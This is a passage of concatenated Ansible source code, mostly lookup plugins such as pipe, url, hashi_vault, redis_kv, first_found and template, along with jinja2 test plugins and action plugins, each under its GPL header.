            # this is the exception we expect when the alarm signal
            # fires, so we simply ignore it to move into the cleanup
            pass
        finally:
            # cleanup and save some information
            # restore the old settings for the duped stdin fd
            if not(None in (fd, old_settings)) and isatty(fd):
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

            duration = time.time() - start
            result['stop'] = str(datetime.datetime.now())
            result['delta'] = int(duration)

            if duration_unit == 'minutes':
                duration = round(duration / 60.0, 2)
            else:
                duration = round(duration, 2)
            result['stdout'] = "Paused for %s %s" % (duration, duration_unit)

        return result

    def _c_or_a(self):
        while True:
            key_pressed = self._connection._new_stdin.read(1)
            if key_pressed.lower() == 'a':
                return False
            elif key_pressed.lower() == 'c':
                return True






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.copy import ActionModule as CopyActionModule


# Even though CopyActionModule inherits from ActionBase, we still need to
# directly inherit from ActionBase to appease the plugin loader.
class ActionModule(CopyActionModule, ActionBase):
    pass






# (c) 2015, Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from os.path import isdir, isfile, isabs, exists, lexists, islink, samefile, ismount
from ansible import errors

class TestModule(object):
    ''' Ansible file jinja2 tests '''

    def tests(self):
        return {
            # file testing
            'is_dir'  : isdir,
            'is_file' : isfile,
            'is_link' : islink,
            'exists' : exists,
            'link_exists' : lexists,

            # path testing
            'is_abs' : isabs,
            'is_same_file' : samefile,
            'is_mount' : ismount,
        }






# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type






# (c) 2016, Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import math

def issubset(a, b):
    return set(a) <= set(b)

def issuperset(a, b):
    return set(a) >= set(b)

def isnotanumber(x):
    try:
        return math.isnan(x)
    except TypeError:
        return False

class TestModule:
    ''' Ansible math jinja2 tests '''

    def tests(self):
        return {
            # set theory
            'issubset': issubset,
            'issuperset': issuperset,
            'isnan': isnotanumber,
        }






# (c) 2012, Jeroen Hoekx <jeroen@hoekx.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import re
import operator as py_operator
from distutils.version import LooseVersion, StrictVersion

from ansible import errors

def failed(*a, **kw):
    ''' Test if task result yields failed '''
    item = a[0]
    if type(item) != dict:
        raise errors.AnsibleFilterError("|failed expects a dictionary")
    rc = item.get('rc',0)
    failed = item.get('failed',False)
    if rc != 0 or failed:
        return True
    else:
        return False

def success(*a, **kw):
    ''' Test if task result yields success '''
    return not failed(*a, **kw)

def changed(*a, **kw):
    ''' Test if task result yields changed '''
    item = a[0]
    if type(item) != dict:
        raise errors.AnsibleFilterError("|changed expects a dictionary")
    if not 'changed' in item:
        changed = False
        if ('results' in item    # some modules return a 'results' key
                and type(item['results']) == list
                and type(item['results'][0]) == dict):
            for result in item['results']:
                changed = changed or result.get('changed', False)
    else:
        changed = item.get('changed', False)
    return changed

def skipped(*a, **kw):
    ''' Test if task result yields skipped '''
    item = a[0]
    if type(item) != dict:
        raise errors.AnsibleFilterError("|skipped expects a dictionary")
    skipped = item.get('skipped', False)
    return skipped

def regex(value='', pattern='', ignorecase=False, multiline=False, match_type='search'):
    ''' Expose `re` as a boolean filter using the `search` method by default.
        This is likely only useful for `search` and `match` which already
        have their own filters.
    '''
    flags = 0
    if ignorecase:
        flags |= re.I
    if multiline:
        flags |= re.M
    _re = re.compile(pattern, flags=flags)
    _bool = __builtins__.get('bool')
    return _bool(getattr(_re, match_type, 'search')(value))

def match(value, pattern='', ignorecase=False, multiline=False):
    ''' Perform a `re.match` returning a boolean '''
    return regex(value, pattern, ignorecase, multiline, 'match')

def search(value, pattern='', ignorecase=False, multiline=False):
    ''' Perform a `re.search` returning a boolean '''
    return regex(value, pattern, ignorecase, multiline, 'search')

def version_compare(value, version, operator='eq', strict=False):
    ''' Perform a version comparison on a value '''
    op_map = {
        '==': 'eq', '=':  'eq', 'eq': 'eq',
        '<':  'lt', 'lt': 'lt',
        '<=': 'le', 'le': 'le',
        '>':  'gt', 'gt': 'gt',
        '>=': 'ge', 'ge': 'ge',
        '!=': 'ne', '<>': 'ne', 'ne': 'ne'
    }

    if strict:
        Version = StrictVersion
    else:
        Version = LooseVersion

    if operator in op_map:
        operator = op_map[operator]
    else:
        raise errors.AnsibleFilterError('Invalid operator type')

    try:
        method = getattr(py_operator, operator)
        return method(Version(str(value)), Version(str(version)))
    except Exception as e:
        raise errors.AnsibleFilterError('Version comparison: %s' % e)

class TestModule(object):
    ''' Ansible core jinja2 tests '''

    def tests(self):
        return {
            # failure testing
            'failed'    : failed,
            'failure'   : failed,
            'success'   : success,
            'succeeded' : success,

            # changed testing
            'changed' : changed,
            'change'  : changed,

            # skip testing
            'skipped' : skipped,
            'skip'    : skipped,

            # regex
            'match': match,
            'search': search,
            'regex': regex,

            # version comparison
            'version_compare': version_compare,

        }






# (c) 2012, Daniel Hokka Zakrisson <daniel@hozac.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import subprocess

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        ret = []
        for term in terms:
            '''
            http://docs.python.org/2/library/subprocess.html#popen-constructor

            The shell argument (which defaults to False) specifies whether to use the 
            shell as the program to execute. If shell is True, it is recommended to pass 
            args as a string rather than as a sequence

            https://github.com/ansible/ansible/issues/6550
            '''
            term = str(term)

            p = subprocess.Popen(term, cwd=self._loader.get_basedir(), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
            (stdout, stderr) = p.communicate()
            if p.returncode == 0:
                ret.append(stdout.decode("utf-8").rstrip())
            else:
                raise AnsibleError("lookup_plugin.pipe(%s) returned %d" % (term, p.returncode))
        return ret






# (c) 2013, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import random

from ansible.plugins.lookup import LookupBase

# useful for introducing chaos ... or just somewhat reasonably fair selection
# amongst available mirrors
#
#    tasks:
#        - debug: msg=$item
#          with_random_choice:
#             - one
#             - two 
#             - three

class LookupModule(LookupBase):

    def run(self, terms, inject=None, **kwargs):

        return [ random.choice(terms) ]







# (c) 2012, Jan-Piet Mens <jpmens(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

HAVE_DNS=False
try:
    import dns.resolver
    from dns.exception import DNSException
    HAVE_DNS=True
except ImportError:
    pass

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

# ==============================================================
# DNSTXT: DNS TXT records
#
#       key=domainname
# TODO: configurable resolver IPs
# --------------------------------------------------------------

class LookupModule(LookupBase):

    def run(self, terms, variables=None, **kwargs):

        if HAVE_DNS == False:
            raise AnsibleError("Can't LOOKUP(dnstxt): module dns.resolver is not installed")

        ret = []
        for term in terms:
            domain = term.split()[0]
            string = []
            try:
                answers = dns.resolver.query(domain, 'TXT')
                for rdata in answers:
                    s = rdata.to_text()
                    string.append(s[1:-1])  # Strip outside quotes on TXT rdata

            except dns.resolver.NXDOMAIN:
                string = 'NXDOMAIN'
            except dns.resolver.Timeout:
                string = ''
            except DNSException as e:
                raise AnsibleError("dns.resolver unhandled exception", e)

            ret.append(''.join(string))

        return ret







# (c) 2012-15, Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def run(self, terms, **kwargs):
        return terms






# (c) 2013, Bradley Young <young.bradley@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from itertools import izip_longest

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.listify import listify_lookup_plugin_terms

class LookupModule(LookupBase):
    """
    Transpose a list of arrays:
    [1, 2, 3], [4, 5, 6] -> [1, 4], [2, 5], [3, 6]
    Replace any empty spots in 2nd array with None:
    [1, 2], [3] -> [1, 3], [2, None]
    """

    def _lookup_variables(self, terms):
        results = []
        for x in terms:
            intermediate = listify_lookup_plugin_terms(x, templar=self._templar, loader=self._loader)
            results.append(intermediate)
        return results

    def run(self, terms, variables=None, **kwargs):

        terms = self._lookup_variables(terms)

        my_list = terms[:]
        if len(my_list) == 0:
            raise AnsibleError("with_together requires at least one element in each list")

        return [self._flatten(x) for x in izip_longest(*my_list, fillvalue=None)]







# (c) 2015, Jonathan Davila <jdavila(at)ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
# USAGE: {{ lookup('hashi_vault', 'secret=secret/hello:value token=c975b780-d1be-8016-866b-01d0f9b688a5 url=http://myvault:8200')}}
#
# You can skip setting the url if you set the VAULT_ADDR environment variable
# or if you want it to default to localhost:8200
#
# NOTE: Due to a current limitation in the HVAC library there won't
# necessarily be an error if a bad endpoint is specified.
#
# Requires hvac library. Install with pip.
#

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase


ANSIBLE_HASHI_VAULT_ADDR = 'http://127.0.0.1:8200'

if os.getenv('VAULT_ADDR') is not None:
    ANSIBLE_HASHI_VAULT_ADDR = os.environ['VAULT_ADDR']

class HashiVault:
    def __init__(self, **kwargs):
        try:
            import hvac
        except ImportError:
            raise AnsibleError("Please pip install hvac to use this module")

        self.url = kwargs.get('url', ANSIBLE_HASHI_VAULT_ADDR)
            
        self.token = kwargs.get('token')
        if self.token==None:
            raise AnsibleError("No Vault Token specified")
        
        # split secret arg, which has format 'secret/hello:value' into secret='secret/hello' and secret_field='value'
        s = kwargs.get('secret')
        if s==None:
            raise AnsibleError("No secret specified")

        s_f = s.split(':')
        self.secret = s_f[0]
        if len(s_f)>=2:
            self.secret_field = s_f[1]
        else:
            self.secret_field = 'value'

        self.client = hvac.Client(url=self.url, token=self.token)

        if self.client.is_authenticated():
            pass
        else:
            raise AnsibleError("Invalid Hashicorp Vault Token Specified")

    def get(self):
        data = self.client.read(self.secret)
        if data is None:
            raise AnsibleError("The secret %s doesn't seem to exist" % self.secret)
        
        if self.secret_field=='': # secret was specified with trailing ':'
            return data['data']
        
        if self.secret_field not in data['data']:
            raise AnsibleError("The secret %s does not contain the field '%s'. " % (self.secret, self.secret_field))
        
        return data['data'][self.secret_field]


class LookupModule(LookupBase):
    def run(self, terms, variables, **kwargs):
        vault_args = terms[0].split(' ')
        vault_dict = {}
        ret = []

        for param in vault_args:
            try:
                key, value = param.split('=')
            except ValueError as e:
                raise AnsibleError("hashi_vault plugin needs key=value pairs, but received %s" % terms)
            vault_dict[key] = value

        vault_conn = HashiVault(**vault_dict)

        for term in terms:
           key = term.split()[0]
           value = vault_conn.get()
           ret.append(value)
           
        return ret
        






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2013, Steven Dossett <sdossett@panath.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.lookup import LookupBase
from ansible.inventory import Inventory

class LookupModule(LookupBase):

    def get_hosts(self, variables, pattern):
        hosts = []
        if pattern[0] in ('!','&'):
            obj = pattern[1:]
        else:
            obj = pattern

        if obj in variables['groups']:
            hosts = variables['groups'][obj]
        elif obj in variables['groups']['all']:
            hosts = [obj]
        return hosts

    def run(self, terms, variables=None, **kwargs):

        host_list = []

        for term in terms:
            patterns = Inventory.order_patterns(Inventory.split_host_pattern(term))

            for p in patterns:
                that = self.get_hosts(variables, p)
                if p.startswith("!"):
                    host_list = [ h for h in host_list if h not in that]
                elif p.startswith("&"):
                    host_list = [ h for h in host_list if h in that ]
                else:
                    host_list.extend(that)

        # return unique list
        return list(set(host_list))






# (c) 2015, Brian Coca <bcoca@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import urllib2

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.module_utils.urls import open_url, ConnectionError, SSLValidationError
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class LookupModule(LookupBase):

    def run(self, terms, variables=None, **kwargs):

        validate_certs = kwargs.get('validate_certs', True)

        ret = []
        for term in terms:
            display.vvvv("url lookup connecting to %s" % term)
            try:
                response = open_url(term, validate_certs=validate_certs)
            except urllib2.HTTPError as e:
                raise AnsibleError("Received HTTP error for %s : %s" % (term, str(e)))
            except urllib2.URLError as e:
                raise AnsibleError("Failed lookup url for %s : %s" % (term, str(e)))
            except SSLValidationError as e:
                raise AnsibleError("Error validating the server's certificate for %s: %s" % (term, str(e)))
            except ConnectionError as e:
                raise AnsibleError("Error connecting to %s: %s" % (term, str(e)))

            for line in response.read().splitlines():
                ret.append(to_unicode(line))
        return ret






# (c) 2013, seth vidal <skvidal@fedoraproject.org> red hat, inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

# take a list of files and (optionally) a list of paths
# return the first existing file found in the paths
# [file1, file2, file3], [path1, path2, path3]
# search order is:
# path1/file1
# path1/file2
# path1/file3
# path2/file1
# path2/file2
# path2/file3
# path3/file1
# path3/file2
# path3/file3

# first file found with os.path.exists() is returned
# no file matches raises ansibleerror
# EXAMPLES
#  - name: copy first existing file found to /some/file
#    action: copy src=$item dest=/some/file
#    with_first_found: 
#     - files: foo ${inventory_hostname} bar
#       paths: /tmp/production /tmp/staging

# that will look for files in this order:
# /tmp/production/foo
#                 ${inventory_hostname}
#                 bar
# /tmp/staging/foo
#              ${inventory_hostname}
#              bar
                  
#  - name: copy first existing file found to /some/file
#    action: copy src=$item dest=/some/file
#    with_first_found: 
#     - files: /some/place/foo ${inventory_hostname} /some/place/else

#  that will look for files in this order:
#  /some/place/foo
#  $relative_path/${inventory_hostname}
#  /some/place/else

# example - including tasks:
#  tasks:
#  - include: $item
#    with_first_found:
#     - files: generic
#       paths: tasks/staging tasks/production
# this will include the tasks in the file generic where it is found first (staging or production)

# example simple file lists
#tasks:
#- name: first found file
#  action: copy src=$item dest=/etc/file.cfg
#  with_first_found:
#  - files: foo.${inventory_hostname} foo


# example skipping if no matched files
# First_found also offers the ability to control whether or not failing
# to find a file returns an error or not
#
#- name: first found file - or skip
#  action: copy src=$item dest=/etc/file.cfg
#  with_first_found:
#  - files: foo.${inventory_hostname}
#    skip: true

# example a role with default configuration and configuration per host
# you can set multiple terms with their own files and paths to look through.
# consider a role that sets some configuration per host falling back on a default config.
#
#- name: some configuration template
#  template: src={{ item }} dest=/etc/file.cfg mode=0444 owner=root group=root
#  with_first_found:
#   - files:
#      - ${inventory_hostname}/etc/file.cfg
#     paths:
#      - ../../../templates.overwrites
#      - ../../../templates
#   - files:
#      - etc/file.cfg
#     paths:
#      - templates

# the above will return an empty list if the files cannot be found at all
# if skip is unspecificed or if it is set to false then it will return a list 
# error which can be caught bye ignore_errors: true for that action.

# finally - if you want you can use it, in place to replace first_available_file:
# you simply cannot use the - files, path or skip options. simply replace
# first_available_file with with_first_found and leave the file listing in place
#
#
#  - name: with_first_found like first_available_file
#    action: copy src=$item dest=/tmp/faftest
#    with_first_found:
#     - ../files/foo
#     - ../files/bar
#     - ../files/baz
#    ignore_errors: true

import os

from jinja2.exceptions import UndefinedError

from ansible.compat.six import string_types
from ansible.errors import AnsibleFileNotFound, AnsibleLookupError, AnsibleUndefinedVariable
from ansible.plugins.lookup import LookupBase
from ansible.utils.boolean import boolean

class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        anydict = False
        skip = False

        for term in terms:
            if isinstance(term, dict):
                anydict = True

        total_search = []
        if anydict:
            for term in terms:
                if isinstance(term, dict):
                    files = term.get('files', [])
                    paths = term.get('paths', [])
                    skip  = boolean(term.get('skip', False))

                    filelist = files
                    if isinstance(files, string_types):
                        files = files.replace(',', ' ')
                        files = files.replace(';', ' ')
                        filelist = files.split(' ')

                    pathlist = paths
                    if paths:
                        if isinstance(paths, string_types):
                            paths = paths.replace(',', ' ')
                            paths = paths.replace(':', ' ')
                            paths = paths.replace(';', ' ')
                            pathlist = paths.split(' ')

                    if not pathlist:
                        total_search = filelist
                    else:
                        for path in pathlist:
                            for fn in filelist:
                                f = os.path.join(path, fn)
                                total_search.append(f)
                else:
                    total_search.append(term)
        else:
            total_search = self._flatten(terms)

        for fn in total_search:
            try:
                fn = self._templar.template(fn)
            except (AnsibleUndefinedVariable, UndefinedError):
                continue

             # get subdir if set by task executor, default to files otherwise
            subdir = getattr(self, '_subdir', 'files')
            path = None
            try:
                path = self.find_file_in_search_path(variables, subdir, fn)
                return [path]
            except AnsibleFileNotFound:
                continue
        else:
            if skip:
                return []
            else:
                raise AnsibleLookupError("No file was found when using with_first_found. Use the 'skip: true' option to allow this task to be skipped if no files are found")







# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from jinja2.exceptions import UndefinedError

from ansible.errors import AnsibleError, AnsibleUndefinedVariable
from ansible.plugins.lookup import LookupBase
from ansible.utils.listify import listify_lookup_plugin_terms

class LookupModule(LookupBase):

    def _lookup_variables(self, terms, variables):
        results = []
        for x in terms:
            try:
                intermediate = listify_lookup_plugin_terms(x, templar=self._templar, loader=self._loader, fail_on_undefined=True)
            except UndefinedError as e:
                raise AnsibleUndefinedVariable("One of the nested variables was undefined. The error was: %s" % e)
            results.append(intermediate)
        return results

    def run(self, terms, variables=None, **kwargs):

        terms = self._lookup_variables(terms, variables)

        my_list = terms[:]
        my_list.reverse()
        result = []
        if len(my_list) == 0:
            raise AnsibleError("with_nested requires at least one element in the nested list")
        result = my_list.pop()
        while len(my_list) > 0:
            result2 = self._combine(result, my_list.pop())
            result  = result2
        new_result = []
        for x in result:
            new_result.append(self._flatten(x))
        return new_result








# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

class LookupModule(LookupBase):

    def __init__(self, basedir=None, **kwargs):
        self.basedir = basedir

    def run(self, terms, variables, **kwargs):

        if not isinstance(terms, list):
            raise AnsibleError("with_indexed_items expects a list")

        items = self._flatten(terms)
        return zip(range(len(items)), items)







# (c) 2012, Jan-Piet Mens <jpmens(at)gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import re

HAVE_REDIS=False
try:
    import redis        # https://github.com/andymccurdy/redis-py/
    HAVE_REDIS=True
except ImportError:
    pass

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase

# ==============================================================
# REDISGET: Obtain value from a GET on a Redis key. Terms
# expected: 0 = URL, 1 = Key
# URL may be empty, in which case redis://localhost:6379 assumed
# --------------------------------------------------------------

class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        if not HAVE_REDIS:
            raise AnsibleError("Can't LOOKUP(redis_kv): module redis is not installed")

        ret = []
        for term in terms:
            (url,key) = term.split(',')
            if url == "":
                url = 'redis://localhost:6379'

            # urlsplit on Python 2.6.1 is broken. Hmm. Probably also the reason
            # Redis' from_url() doesn't work here.

            p = '(?P<scheme>[^:]+)://?(?P<host>[^:/ ]+).?(?P<port>[0-9]*).*'

            try:
                m = re.search(p, url)
                host = m.group('host')
                port = int(m.group('port'))
            except AttributeError:
                raise AnsibleError("Bad URI in redis lookup")

            try:
                conn = redis.Redis(host=host, port=port)
                res = conn.get(key)
                if res is None:
                    res = ""
                ret.append(res)
            except:
                ret.append("")  # connection failed or key not found
        return ret






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
from ansible.utils.unicode import to_unicode, to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class LookupModule(LookupBase):

    def run(self, terms, variables, **kwargs):

        convert_data_p = kwargs.get('convert_data', True)
        ret = []

        for term in terms:
            display.debug("File lookup term: %s" % term)

            lookupfile = self.find_file_in_search_path(variables, 'templates', term)
            display.vvvv("File lookup using %s as file" % lookupfile)
            if lookupfile:
                with open(to_bytes(lookupfile, errors='strict'), 'r') as f:
                    template_data = to_unicode(f.read())

                    # set jinja2 internal search path for includes
                    if 'ansible_search_path' in variables:
                        searchpath = variables['ansible_search_path']
                    else:
                        searchpath = [self._loader._basedir, os.path.dirname(lookupfile)]
                    self._templar.environment.loader.searchpath = searchpath

                    # do the templating
                    res = self._templar.template(template_data, preserve_trailing_newlines=True,convert_data=convert_data_p)
                    ret.append(res)
            else:
                raise AnsibleError("the template file %s could not be found for the lookup" % term)

        return ret






# (c) 2016 Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import pwd
import grp
import stat

from ansible.plugins.lookup import LookupBase
from __main__ import display
warning = display.warning

HAVE_SELINUX=False
try:
    import selinux
    HAVE_SELINUX=True
except ImportError:
    pass

def _to_filesystem_str(path):
    '''Returns filesystem path as a str, if it wasn't already.

    Used in selinux interactions because it cannot accept unicode
